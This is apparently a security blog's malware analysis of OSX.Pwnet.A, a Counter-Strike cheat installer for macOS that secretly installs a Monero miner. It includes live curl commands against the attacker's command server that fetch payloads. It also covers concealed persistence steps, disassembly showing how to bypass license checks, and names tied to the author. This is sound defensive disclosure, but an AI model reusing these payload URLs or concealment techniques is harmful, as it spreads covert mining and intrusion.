(Photo source: Pony Strike: Global Offense by FilipinoNinja95)

We recently found Counter-Strike: Global Offensive (CS: Go) hacks on macOS that is also a trojan that could mine CryptoCurrencies without user consent.

According to VirusTotal Retrohunt, the threat is in the wild since the beginning of July 2017.

Warning: At the time of this writing, all URLs are live.

Entry Point: Vlone.cc Portal

The entry point is vlone.cc portal, where a user can Register, Login and Download for free the hack installer.

The domain name was registered through eNom in April 2017, 14th, and resolves to a shared web host at namecheap:

$ dig vlone.cc +short 198.54.115.80 $ dig -x 198.54.115.80 +short server205-2.web-hosting.com.

HTTPS certificate was delivered by COMODO PositiveSSL in June 2017, 27th.

When logged in, members can browse the Prices page and purchase a premium subscription for 1, 3 or 6 months through Selly:

Members download the same archive of the free installer than guests:

$ curl -s https://vlone.cc/portal/download.php | shasum -a 256 b1bdb4502f5051309582f72a62c14d9919d3c86de3dcfa0b3a5f008cb5a018fe - $ curl -s https://vlone.cc/portal/download.php -G -d user=1234 -d free | shasum -a 256 b1bdb4502f5051309582f72a62c14d9919d3c86de3dcfa0b3a5f008cb5a018fe -

According to the user GET query value, members count in August 2017, 22nd, is nearly two thousand.

We don’t know if the private installer of the hack also installs the mining software without user consent.

Binaries analysis

It’s all C++ Standard Library code. Network connections use libcurl and secure HTTPS protocol.

All executables, but the miner CLI, require super-user privileges, so the user must run the installer with sudo :

$ ./vHook Root access required! Please type "sudo ./vhook"

The main binary hides itself as Dynamic Web TWAIN, an online document scanning platform.

vHook

vHook is the installer. It is packed with UPX, probably to avoid user analysis and bypass some security products.

It is a command line interface:

$ sudo ./vHook [vlone] vHook public [vlone] Username: USERNAME Password: PASSWORD [vlone] Welcome to vHook Public, USERNAME! [vlone] Downloading vHook assets.. [vlone] Inflating vHook assets.. [vlone] CS:GO is not running! [vlone] Cleaning up.. [vlone] Quitting...

With a valid member account, it downloads and extracts bootstrap.dylib and vhook.dylib from https://vlone.cc/portal/gateway.php as assets.zip to /Library/Application Support/ :

$ curl -s https://vlone.cc/portal/gateway.php -G -d username=USERNAME -d password=PASSWORD -d free | xxd -l 64 00000000: 504b 0304 1400 0000 0800 8696 c14a 9c2e PK...........J.. 00000010: 55c2 b606 0000 1827 0000 0f00 1c00 626f U......'......bo 00000020: 6f74 7374 7261 702e 6479 6c69 6255 5409 otstrap.dylibUT. 00000030: 0003 9cb9 2f59 d339 8059 7578 0b00 0104 ..../Y.9.Yux....

It loads bootstrap.dylib from osxinj project. If Counter-Strike: Global Offensive is running, it downloads and extracts some fonts ( https://vlone.cc/fontfix.zip as vlone.zip to /Library/Fonts/ ), and injects vhook.dylib into csgo_osx64 process.

It could be a perfect deal for a CS: GO user, but it turns out vHook also sneaky downloads and extracts https://vlone.cc/abc/assets/asset.zip as fonts.zip to /var/ , changes directory to /var and runs sudo ./helper & .

It then kills Terminal application to hide the detached process output.

helper

helper is the miner downloader dropper. It is also packed with UPX.

It first asks the C&C server for the name of the binary to execute upon download:

$ curl https://www.vlone.cc/abc/commands/update.php?request -F command=newfile com.dynamsoft.webhelper

It downloads https://www.vlone.cc/abc/assets/b.zip as /b.zip , extracts its contents to /var/.log/ , changes directory to /var/.log/ and runs sudo ./com.dynamsoft.WebHelper & .

At the time of this writing, https://www.vlone.cc/abc/assets/b.zip URL response is a File Not Found 404 error code, but https://www.vlone.cc/abc/assets/bz.zip URL is live and send the expected archive.

com.dynamsoft.WebHelper is the miner downloader. Despite the name, it is not related to Dynamsoft.

It starts by downloading and extracting:

WebTwainService from https://www.vlone.cc/abc/assets/d.zip to /var/.log/

from to com.dynamsoft.WebTwainService.plist from https://www.vlone.cc/abc/assets/p.zip to /Library/LaunchDaemons/

It loads the daemon, sends computer unique identifier (UUID) and its version to C&C server, and checks if it meetsRequirements() , i.e. running as root and not in a debugger:

$ curl -s https://www.vlone.cc/abc/hub.php?init -F version=1.2.1 -F hwid=$(uuidgen) created continue

It then sleeps for one hour. If one is in a hurry, he or she can cut out the nap easily:

__text:0000000100016A5F BF 01 00 00 00 mov edi, 1 800 ; unsigned int __text:0000000100016A64 E8 5B 72 00 00 call _sleep

Once rested, it sends commands to C&C server every minute to ask if it should mine and update or kill itself:

$ curl -s https://www.vlone.cc/abc/commands/mine.php?request -F command=mine true $ curl -s https://www.vlone.cc/abc/commands/update.php?request -F command=update false $ curl -s https://www.vlone.cc/abc/commands/kill.php?request -F command=kill false

Every minute, it also creates or updates the mining thread to:

download and extract https://www.vlone.cc/abc/assets/helper.zip to /var/.trash/.assets/

to get miner settings (maximum core number, currency, email address)

check if Activity Monitor is running

check if it is already mining

check if it should stop mining

run cd /var/.trash/.assets/; ./com.apple.SafariHelper with appropriate arguments

Read more: SENTINELONE – THE BEST AV FOR MACOS

WebTwainService

WebTwainService tries to take care of com.dynamsoft.webhelper persistency. It is again packed with UPX.

It sets its current directory to /var/.log and runs sudo ./com.dynamsoft.webhelper & , then recursively sleeps for one hour…

com.apple.SafariHelper actually is the official MinerGate CLI v4.04:

$ shasum -a 256 MinerGate-cli-4.04-Mac/minergate-cli com.apple.SafariHelper b943369a2ae7afb3522f3b1c40c15208bff0444d47d0df476dd585cf9cbf7c10 MinerGate-cli-4.04-Mac/minergate-cli b943369a2ae7afb3522f3b1c40c15208bff0444d47d0df476dd585cf9cbf7c10 com.apple.SafariHelper

It is written in Qt, so it comes with frameworks:

$ find /private/.trash -type f /private/.trash/.assets/com.apple.SafariHelper /private/.trash/.assets/Frameworks/QtCore.framework/Versions/5/QtCore /private/.trash/.assets/Frameworks/QtNetwork.framework/Versions/5/QtNetwork /private/.trash/.assets/Frameworks/QtSql.framework/Versions/5/QtSql /private/.trash/.assets/Frameworks/QtWebSockets.framework/Versions/5/QtWebSockets

It takes as CPU as requested by com.dynamsoft.WebHelper so the user enjoys the delight of computer’s fans background music:

$ ps axu | grep [c]om.apple.SafariHelper root 474 200.0 0.2 2490592 14204 s000 R+ 3:07AM 3:21.87 ./com.apple.SafariHelper -user [email protected] --xmr 2

In this example, it is mining Monero (XMR) with all virtual machine cores (two: 200.0%).

Current MinerGate email address is [email protected] , and [email protected] email address was also found hardcoded in another sample.

Maximum core number, CryptoCurrency and email address are provided by com.dynamsoft.WebHelper and the C&C server:

$ curl -s https://www.vlone.cc/abc/commands/mine.php?request -F mine=cores 4 $ curl -s https://www.vlone.cc/abc/commands/mine.php?request -F mine=coin xmr $ curl -s https://www.vlone.cc/abc/commands/mine.php?request -F mine=email [email protected]

vLoader

We finally ended up with vLoader , the private installer, and, once more, it is packed with UPX.

It does many checks against the C&C server:

$ curl -s https://www.vlone.cc/pwned.php -F user=USERNAME -F pass=PASSWORD -F hwid=$(uuidgen) 204 $ curl -s https://www.vlone.cc/sub.php -F user=USERNAME 00/00/0000

They are trivial to bypass for anyone who can force a conditional jump:

__text:0000000100010570 A8 01 test al, 1 __text:0000000100010572 90 E9 05 00 00 00 j nz loc_10001057D __text:0000000100010578 E9 08 01 00 00 jmp loc_100010685 __text:000000010001057D ; --------------------------------------------------------------------------- __text:000000010001057D __text:000000010001057D loc_10001057D: ; CODE XREF: dna8o::in(void)+862 __text:000000010001057D 48 8B 3D 94 5A 00 00 mov rdi, cs:__ZNSt3__14coutE_ptr __text:0000000100010584 48 8D 35 84 53 00 00 lea rsi, aLoggedInSucces ; "Logged in successfully"

Private payloads are downloaded and extracted to /var/.old/ :

boots.dylib from http://vlone.cc/clear/sadmio.zip

from .uhdexter.dylib from http://vlone.cc/clear/getout.zip

Compared to the free injected library, the private hook is very similar:

vLoader doesn’t uninstall any of the free version naughty payloads.

Finn and ponies

We didn’t spend too much time reverse engineering vhook.dylib . The source code was available on GitHub (archive) and videos of the hack are also available on YouTube here and there.

GitHub owner of the vHook project is fetusfinn (original author is ViKiNG) and we coincidentally found debugger symbols matching Finn username in GitHub’s libvHook.dylib and in all analyzed binaries:

$ for f in github.com/fetusfinn/vHook/libvHook.dylib \ vHook_unpacked helper_unpacked com.dynamsoft.WebHelper WebTwainService_unpacked do nm -a "$f" | grep -m 1 Finn done 0000000000000000 - 00 0000 SO /Users/ Finn /Desktop/c++/vHook/ 0000000000000000 - 00 0000 SO /Users/ Finn /Downloads/Archive/vloneLoader/ 0000000000000000 - 00 0000 SO /Users/ Finn /Desktop/ pwnednet /pwnednet/installer/installer/ 0000000000000000 - 00 0000 SO /Users/ Finn /Desktop/ pwnednet /pwnednet/pwnednet/ 0000000000000000 - 00 0000 SO /Users/ Finn /Downloads/WebTwainService/WebTwainService/WebTwainService/

This is how we know Finn’s project name is pwnednet . Shortened to pwnet, it sounds like poney in French, i.e. pony in English and, everybody loves ponies, so here you have OSX.Pwnet.A!

There also is a reference to someone named Jennifer Johansson in Xcode user data:

$ find github.com/fetusfinn/vHook -type f -path "*nnif*" github.com/fetusfinn/vHook/vHook.xcodeproj/xcuserdata/ jenniferjohansson .xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist github.com/fetusfinn/vHook/vHook.xcodeproj/xcuserdata/ jenniferjohansson .xcuserdatad/xcschemes/vHook.xcscheme github.com/fetusfinn/vHook/vHook.xcodeproj/xcuserdata/ jenniferjohansson .xcuserdatad/xcschemes/xcschememanagement.plist

We didn’t take the time to ask pwned’s boyfriend on Discord if Finn is much into ponies:

But, just in case, here is a Dutch Pony for Finn and her team.

From Hackestria with ❤

EDIT: added vLoader on 2017/08/29.